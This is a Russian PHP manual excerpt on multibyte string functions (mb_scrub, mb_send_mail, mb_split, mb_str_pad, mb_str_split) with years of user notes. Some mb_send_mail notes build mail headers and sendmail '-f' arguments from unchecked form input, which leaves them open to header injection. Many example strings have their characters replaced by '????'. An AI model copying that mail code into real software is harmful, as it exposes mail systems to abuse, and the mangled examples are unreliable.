
Возвращаемые значения

Предыдущие варианты. Если options опущен или равен null, он возвращает строку (string), которая описывает текущие параметры.

Список изменений

Версия | Описание
8.0.0 | Если параметр options задан и не равен null, возвращаются предыдущие параметры. Ранее возвращались текущие параметры.
8.0.0 | Параметр options может принимать значение null.
8.0.0 | Опция "e" теперь выбрасывает ошибку ValueError.
7.1.0 | Опция "e" теперь выдаёт ошибку уровня ValueError.

Смотрите также

  • mb_split() - Разделение строк в многобайтных кодировках, используя регулярное выражение
  • mb_ereg() - Совпадение с регулярным выражением с поддержкой многобайтовых кодировок
  • mb_eregi() - Поиск соответствий регулярному выражению с поддержкой многобайтовых символов без учёта регистра

User Contributed Notes

indeyets at php dot net 27-Nov-2009 02:58
It's a bit trickier, than patryk wrote:

There are parameters (you can specify several of these at the same time):

'i': ONIG_OPTION_IGNORECASE;
'x': ONIG_OPTION_EXTEND;
'm': ONIG_OPTION_MULTILINE;
's': ONIG_OPTION_SINGLELINE;
'p': ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE;
'l': ONIG_OPTION_FIND_LONGEST;
'n': ONIG_OPTION_FIND_NOT_EMPTY;
'e': eval() resulting code

And there are "modes" (if you specify several of these, the LAST one will be used):
'j': ONIG_SYNTAX_JAVA;
'u': ONIG_SYNTAX_GNU_REGEX;
'g': ONIG_SYNTAX_GREP;
'c': ONIG_SYNTAX_EMACS;
'r': ONIG_SYNTAX_RUBY;
'z': ONIG_SYNTAX_PERL;
'b': ONIG_SYNTAX_POSIX_BASIC;
'd': ONIG_SYNTAX_POSIX_EXTENDED;

You can find descriptions of these constants here: http://www.geocities.jp/kosako3/oniguruma/doc/API.txt
patryk dot szczyglowski at gmail dot com 12-Dec-2008 10:12
Supported options are:

i - ONIG_OPTION_IGNORECASE
x - ONIG_OPTION_EXTEND
m - ONIG_OPTION_MULTILINE
s - ONIG_OPTION_SINGLELINE
p - ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE
l - ONIG_OPTION_FIND_LONGEST
n - ONIG_OPTION_FIND_NOT_EMPTY
j - ONIG_SYNTAX_JAVA
u - ONIG_SYNTAX_GNU_REGEX
g - ONIG_SYNTAX_GREP
c - ONIG_SYNTAX_EMACS
r - ONIG_SYNTAX_RUBY
z - ONIG_SYNTAX_PERL
b - ONIG_SYNTAX_POSIX_BASIC
d - ONIG_SYNTAX_POSIX_EXTENDED
e - eval() resulting code

Constants above are from Oniguruma regexp library, which is used internally. Default value for PHP 5.2.x is 'pr'.


Заменяет неправильно сформированные последовательности байтов символом-заменителем

  • « mb_regex_set_options
  • mb_send_mail »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Заменяет неправильно сформированные последовательности байтов символом-заменителем

mb_scrub

(PHP 7 >= 7.2.0, PHP 8)

mb_scrub — Заменяет неправильно сформированные последовательности байтов символом-заменителем

Описание

mb_scrub(string $string, ?string $encoding = null): string

Выполняет преобразование набора символов из указанной кодировки или кодировки по умолчанию, если кодировка не была указана, в ту же кодировку. В результате все недопустимые последовательности байтов заменяются символом-заменителем.

Список параметров

string

Входные данные в виде строки.

encoding

Кодировка, используемая для интерпретации параметра string. Если значение опущено или null, то будет использоваться значение mbstring.internal_encoding, если она установлена, иначе будет использоваться значение default_charset.

Возвращаемые значения

Функция возвращает результат в виде строки (string) с заменой недопустимых последовательностей байтов.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

User Contributed Notes

Sammitch 06-Mar-2018 08:32
Replaces 'ill-formed' byte sequences with '?'.

See: https://github.com/php/php-src/pull/1099


Отправка закодированного сообщения

  • « mb_scrub
  • mb_split »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Отправка закодированного сообщения

mb_send_mail

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_send_mail — Отправка закодированного сообщения

Описание

mb_send_mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
?string $additional_params = null
): bool

Посылает сообщение электронной почты. Заголовки и сообщения преобразуются и кодируются в соответствии с настройкой mb_language(). Это обёртка для функции mail(), так что стоит ознакомиться и с описанием функции mail().

Список параметров

to

Электронные адреса получателей. Несколько адресов в аргументе to перечисляются через запятую. Значение этого аргумента не кодируется автоматически.

subject

Тема письма.

message

Текст письма.

additional_headers (необязательный)

Строка или массив, вставляемые в конец заголовка письма.

Обычно используется для добавления дополнительных заголовков (From, Cc, и Bcc). Несколько дополнительных заголовков должны разделяться с помощью CRLF (\r\n). Проверяйте этот параметр, чтобы не допустить инъекции нежелательных заголовков.

Если передан массив, то его ключи будут именами заголовков, а значения соответствующими значениями заголовка.

Замечание:

При отправке письма, письмо обязано содержать заголовок From. Его можно задать с помощью параметра additional_headers или же через опцию в php.ini.

Если этого не сделать, то это приведёт к сообщение об ошибке, примерно такого содержания: Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. Заголовок From также устанавливает и заголовок Return-Path в Windows.

Замечание:

Если письмо не доставалось, попробуйте использовать только LF (\n). Некоторые Unix почтовые агенты (в первую очередь » qmail) заменяют LF на CRLF автоматически (что приводит к дублированию CR при использовании CRLF). Это единственное решение, так как это поведение не соответствует » RFC 2822.

additional_params

Значением additional_params является параметр командной строки MTA. Он полезен для задания корректного заголовка Return-Path при использовании функции sendmail.

Этот параметр экранируется функцией escapeshellcmd() автоматически, чтобы предотвратить запуск других команд. escapeshellcmd() предотвращает запуск команд, но допускает добавление дополнительных аргументов, поэтому для обеспечения безопасности нужно проверять эту опцию.

Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые в email-адресах. Нельзя использовать функцию mail() для программ, которые требуют использование таких символов.

Пользователь, под которым запущен веб-сервер, должен быть добавленным в доверенные пользователи в конфигурации sendmail, чтобы предотвратить добавление заголовка X-Warning в сообщение, если отправитель письма задан с помощью этого параметра (-f). Для пользователей sendmail, это файл /etc/mail/trusted-users.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

8.0.0 | Теперь параметр additional_params может принимать значение null.
Версия | Описание
7.2.0 | Теперь в параметр additional_headers можно передавать массив.

Смотрите также

  • mail() - Отправляет электронную почту
  • mb_encode_mimeheader() - Кодирует строку для MIME-заголовка
  • mb_language() - Устанавливает/получает текущий язык

User Contributed Notes

Filip 18-Apr-2015 09:52
I had to use mb_internal_encoding() also to get properly encoded message.
contact-form at contactrobot dot com 04-Jan-2013 11:52
While using the right tags mentioned in other comments (mb_internal_encoding, Content-Type, etc) ...

mb_send_mail would properly encode special characters in plain text emails, for both subject and message

mb_send_mail would not properly encode special characters in subject for multi-part messages (text+html)
Anonymous 20-Jan-2010 03:20
If you have problem using mb_send_mail to send utf-8 mails, you have to know the following things (I've spent hours on the net before finding the correct php code) :

- You have to use the mb_encode_mimeheader function on the sender name and on the recipient name (on names, not on emails !).
- Subject and message are automatically encoded.
- Add - at least - the following header :

$headers = "Mime-Version: 1.0\n";
$headers .= "Content-Type: text/plain;CHARSET=Windows-1251\n";
$headers .= "From: $sender";

- Last but not least, beware of the internal encoding, which is needed by mb_encode_mimeheader function in order to encode properly. I had to set the internal encoding to UTF-8 in order to make it work properly :

mb_internal_encoding("UTF-8");
Sohel Taslim 18-Sep-2007 11:00
Easy and simple....
Send an email with Japanese contain.

<?php

/**
     * @name                    : sendMail
     * @author Taslim Mazumder Sohel
     * @mailsohel62@yahoo.com
     * Function for sending email
     *with Japanese Email Body, Subject, Sender Name.
     *
     * @param String $to               : Receiver mail address.
     * @param String $subject          : email subject.
     * @param int    $body            : mail body text.
     * @param array  $from_email    : Sender mail address.
     * @param array  $from_name      : Sender Name.
     *
     */
function sendMail($to, $subject, $body, $from_email,$from_name)
 {
$headers  = "MIME-Version: 1.0 \n" ;
$headers .= "From: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";
$headers .= "Reply-To: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";

$headers .= "Content-Type: text/plain;charset=ISO-2022-JP \n";

/* Convert body to same encoding as stated
in Content-Type header above */

$body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

/* Mail, optional paramiters. */
$sendmail_params  = "-f$from_email";

mb_language("ja");
$subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
$subject = mb_encode_mimeheader($subject);

$result = mail($to, $subject, $body, $headers, $sendmail_params);

return $result;
}

?>
noting@nowhere 19-Apr-2007 05:44
Yes, as far as I understood the function encodes the entrire message body with base64 and that's why it can be used to send messages with attachments.
30-Jan-2007 04:53
Be careful, mb_send_mail chokes if you try and send a multipart e-mail.
bredfern at calarts dot edu 22-Jun-2004 03:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp 29-Aug-2003 06:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

    c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp 19-Jul-2003 04:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern   = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter   = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
    $part_length = $max_part_length;
    $s = mb_substr($str, $index, $part_length, $mail_encoding);
    // workaround for literally used start delimiter (without below, subject may break)
    // note: mb_encode_mimeheader() don't encode ascii including start delimiter
    if (preg_match('/^' . $start_pattern . '/i', $s))
    {
      $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
      $index += strlen($start_delimiter);
      continue;
    }

    $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
      $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
      $s = mb_substr($str, $index, $part_length, $mail_encoding);
      $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    }

    // workaround for starting new line with ascii (without below, 1 space may cut in)
    // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
    if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
    {
      $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
      $p = $p ? $p : strlen($lines[$i]);
      $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
      $part_length = $p;
    }
    $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan 22-May-2003 02:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
    $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
    $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
    $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp ) 08-Apr-2003 09:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

    $__lang = mb_language();
    $__enc = mb_internal_encoding();
    mb_language("Japanese");
    mb_internal_encoding( mb_detect_encoding($subject) );
    #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
    mail($to,
        mb_encode_mimeheader($subject),
        mb_convert_encoding($msg,"JIS","AUTO"),$header);
    mb_internal_encoding( $__enc );
    mb_language($__lang);
phpguru at hotmail dot com 26-Feb-2003 11:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan 23-Feb-2003 09:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp 05-Feb-2003 12:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp 28-Dec-2002 06:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);
        $length = floor($length/2) * 2;

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com 14-Sep-2002 03:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.


Разделение строк в многобайтных кодировках, используя регулярное выражение

  • « mb_send_mail
  • mb_str_pad »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Разделение строк в многобайтных кодировках, используя регулярное выражение

mb_split

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_split — Разделение строк в многобайтных кодировках, используя регулярное выражение

Описание

mb_split(string $pattern, string $string, int $limit = -1): array|false

Разделяет многобайтную строку string, используя регулярное выражение pattern, и возвращает массив (array).

Список параметров

pattern

Шаблон регулярного выражения.

string

Разбиваемая строка (string).

limit
Если необязательный аргумент limit задан, функция разобьёт строку не более, чем на limit частей.

Возвращаемые значения

Результат разбиения в виде массива (array) или false в случае возникновения ошибки.

Примечания

Замечание:

Кодировка символов, указанная функцией mb_regex_encoding(), будет по умолчанию использована для данной функции.

Смотрите также

  • mb_regex_encoding() - Устанавливает/получает текущую кодировку для многобайтового регулярного выражения
  • mb_ereg() - Совпадение с регулярным выражением с поддержкой многобайтовых кодировок

User Contributed Notes

thflori at gmail 06-Jul-2017 02:34
I agree that some people might want a mb_explode('', $string);

this is my solution for it:

<?php

$string = 'Hallole';

$array = array_map(function ($i) use ($string) {
    return mb_substr($string, $i, 1);
}, range(0, mb_strlen($string) -1));

expect($array)->toEqual(['H', 'a', 'l', 'l', 'o', 'l', 'e']);

?>
Stas Trefilov, Vertilia 02-Jul-2015 11:01
a (simpler) way to extract all characters from a UTF-8 string to array with a single call to a built-in function:

<?php
  $str = 'Ма-
руся';
  print_r(preg_split('//u', $str, null, PREG_SPLIT_NO_EMPTY));
?>

Output:

Array
(
    [0] => М
    [1] => а
    [2] => -
    [3] =>

    [4] => р
    [5] => у
    [6] => с
    [7] => я
)
gunkan at terra dot es 05-Apr-2012 06:17
To split an string like this: "????????????" using the "?" delimiter i used:

     $v = mb_split('?',"????????????");

but didn't work.

The solution was to set this before:

       mb_regex_encoding('UTF-8');
      mb_internal_encoding("UTF-8");
     $v = mb_split('?',"????????????");

and now it's working:

Array
(
    [0] => ?
    [1] => ?
    [2] => ?
    [3] => ??
    [4] => ?
    [5] => ?
)
boukeversteegh at gmail dot com 14-Apr-2011 01:23
The $pattern argument doesn't use /pattern/ delimiters, unlike other regex functions such as preg_match.

<?php
   # Works. No slashes around the /pattern/
   print_r( mb_split("\s", "hello world") );
   Array (
      [0] => hello
      [1] => world
   )

   # Doesn't work:
   print_r( mb_split("/\s/", "hello world") );
   Array (
      [0] => hello world
   )
?>
boukeversteegh at gmail dot com 10-Sep-2010 09:43
In addition to Sezer Yalcin's tip.

This function splits a multibyte string into an array of characters. Comparable to str_split().

<?php
function mb_str_split( $string ) {
    # Split at all position not after the start: ^
    # and not before the end: $
    return preg_split('/(?<!^)(?!$)/u', $string );
}

$string   = '???';
$charlist = mb_str_split( $string );

print_r( $charlist );
?>

# Prints:
Array
(
    [0] => ?
    [1] => ?
    [2] => ?
)
qdb at kukmara dot ru 25-Mar-2010 02:46
an other way to str_split multibyte string:
<?php
$s='???????';

//$temp_s=iconv('UTF-8','UTF-16',$s);
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_a_len=count($temp_a);
for($i=0;$i<$temp_a_len;$i++){
    //$temp_a[$i]=iconv('UTF-16','UTF-8',$temp_a[$i]);
    $temp_a[$i]=mb_convert_encoding($temp_a[$i],'UTF-8','UTF-16');
}

echo('<pre>');
print_r($temp_a);
echo('</pre>');

//also possible to directly use UTF-16:
define('SLS',mb_convert_encoding('/','UTF-16'));
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_s=implode(SLS,$temp_a);
$temp_s=mb_convert_encoding($temp_s,'UTF-8','UTF-16');
echo($temp_s);
?>
gert dot matern at web dot de 03-Aug-2009 03:34
We are talking about Multi Byte ( e.g. UTF-8) strings here, so preg_split will fail for the following string:

'Wei?e Rosen sind nicht grun!'

And because I didn't find a regex to simulate a str_split I optimized the first solution from adjwilli a bit:

<?php
$string = 'Wei?e Rosen sind nicht grun!'
$stop   = mb_strlen( $string);
$result = array();

for( $idx = 0; $idx < $stop; $idx++)
{
   $result[] = mb_substr( $string, $idx, 1);
}
?>

Here is an example with adjwilli's function:

<?php
mb_internal_encoding( 'UTF-8');
mb_regex_encoding( 'UTF-8');

function mbStringToArray
( $string
)
{
  $stop   = mb_strlen( $string);
  $result = array();

  for( $idx = 0; $idx < $stop; $idx++)
  {
     $result[] = mb_substr( $string, $idx, 1);
  }

  return $result;
}

echo '<pre>', PHP_EOL,
print_r( mbStringToArray( 'Wei?e Rosen sind nicht grun!', true)), PHP_EOL,
'</pre>';
?>

Let me know [by personal email], if someone found a regex to simulate a str_split with mb_split.
adjwilli at yahoo dot com 26-Dec-2007 09:37
I figure most people will want a simple way to break-up a multibyte string into its individual characters. Here's a function I'm using to do that. Change UTF-8 to your chosen encoding method.

<?php
function mbStringToArray ($string) {
    $strlen = mb_strlen($string);
    while ($strlen) {
        $array[] = mb_substr($string,0,1,"UTF-8");
        $string = mb_substr($string,1,$strlen,"UTF-8");
        $strlen = mb_strlen($string);
    }
    return $array;
}
?>


Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины

  • « mb_split
  • mb_str_split »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины

mb_str_pad

(PHP 8 >= PHP 8.3.0)

mb_str_pad — Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины

Описание

mb_str_pad(
string $string,
int $length,
string $pad_string = " ",
int $pad_type = STR_PAD_RIGHT,
?string $encoding = null
): string

Эта функция возвращает строку string, дополненную слева, справа или с обеих сторон до заданной длины, где длина измеряется в кодовых точках Юникода. Если необязательный аргумент pad_string не передан, то строка string будет дополнена пробелами, иначе она будет дополнена символами параметра pad_string до нужной длины.

Список параметров

string

Входная строка.

length

Если значение параметра length отрицательно, меньше или равно длине входной строки, то дополнения не происходит и возвращается исходная строка string.

pad_string

Замечание:

Строка pad_string может быть урезана, если необходимое количество дополняемых символов не делится нацело на длину строки pad_string.

pad_type

Необязательный аргумент pad_type, возможные значения: STR_PAD_RIGHT, STR_PAD_LEFT, или STR_PAD_BOTH. По умолчанию будет использована константа STR_PAD_RIGHT.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Возвращает дополненную строку.

Примеры

Пример #1 Пример использования mb_str_pad()

<?php
var_dump(mb_str_pad('??', 6, '???', STR_PAD_RIGHT)); // string(18) "??????"
var_dump(mb_str_pad('??', 6, '???', STR_PAD_LEFT)); // string(18) "??????"
var_dump(mb_str_pad('??', 6, '???', STR_PAD_BOTH)); // string(18) "??????"

var_dump(mb_str_pad("??", 3, "?", STR_PAD_LEFT)); // string(10) "????"
?>

User Contributed Notes

There are no user contributed notes for this page.


Если задана многобайтовая строка возвращает массив символов

  • « mb_str_pad
  • mb_strcut »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Если задана многобайтовая строка возвращает массив символов

mb_str_split

(PHP 7 >= 7.4.0, PHP 8)

mb_str_split — Если задана многобайтовая строка возвращает массив символов

Описание

mb_str_split(string $string, int $length = 1, ?string $encoding = null): array

Функция вернёт массив строк, это версия str_split() с поддержкой кодировок переменного размера символов, а также кодировок фиксированного размера из 1, 2 или 4-байтовых символов. Если указан параметр length, строка разбивается на куски указанной длины в символах (не байтах). Может быть указан необязательный параметр encoding, это хорошая практика.

Список параметров

string

Строка (string) для разделения на символы или куски.

length

Если указано, каждый элемент возвращаемого массива будет состоять из нескольких символов вместо одного символа.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Строка, указывающая одну из поддерживаемых кодировок.

Возвращаемые значения

mb_str_split() возвращает массив строк.

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.
8.0.0 | Функция больше не возвращает false в случае неудачи.

Смотрите также

  • str_split() - Преобразует строку в массив

User Contributed Notes

webmaster at redinfo dot co dot kr 25-Aug-2022 04:29
if( !function_exists('mb_str_split')){
    function mb_str_split(  $string = '', $length = 1 , $encoding = null ){
        if(!empty($string)){
            $split = array();
            $mb_strlen = mb_strlen($string,$encoding);
            for($pi = 0; $pi < $mb_strlen; $pi += $length){
                $substr = mb_substr($string, $pi,$length,$encoding);
                if( !empty($substr)){
                    $split[] = $substr;
                }
            }
        }
        return $split;
    }
}
vovan-ve at yandex dot ru 25-Oct-2020 05:48
Lazy polyfill for UTF-8 only:

function utf8_str_split(string $input, int $splitLength = 1)
{
    $re = \sprintf('/\\G.{1,%d}+/us', $splitLength);
    \preg_match_all($re, $input, $m);
    return $m[0];
}
info at ensostudio dot ru 11-Oct-2020 11:04
Note: function return NULL if can't convert argument type.

Polyfill PHP < 7.4 based on package "symfony/polyfill-mbstring":
<?php
function mb_str_split($string, $split_length = 1, $encoding = null)
{
    if (null !== $string && !\is_scalar($string) && !(\is_object($string) && \method_exists($string, '__toString'))) {
        trigger_error('mb_str_split(): expects parameter 1 to be string, '.\gettype($string).' given', E_USER_WARNING);
        return null;
    }
    if (null !== $split_length && !\is_bool($split_length) && !\is_numeric($split_length)) {
        trigger_error('mb_str_split(): expects parameter 2 to be int, '.\gettype($split_length).' given', E_USER_WARNING);
        return null;
    }
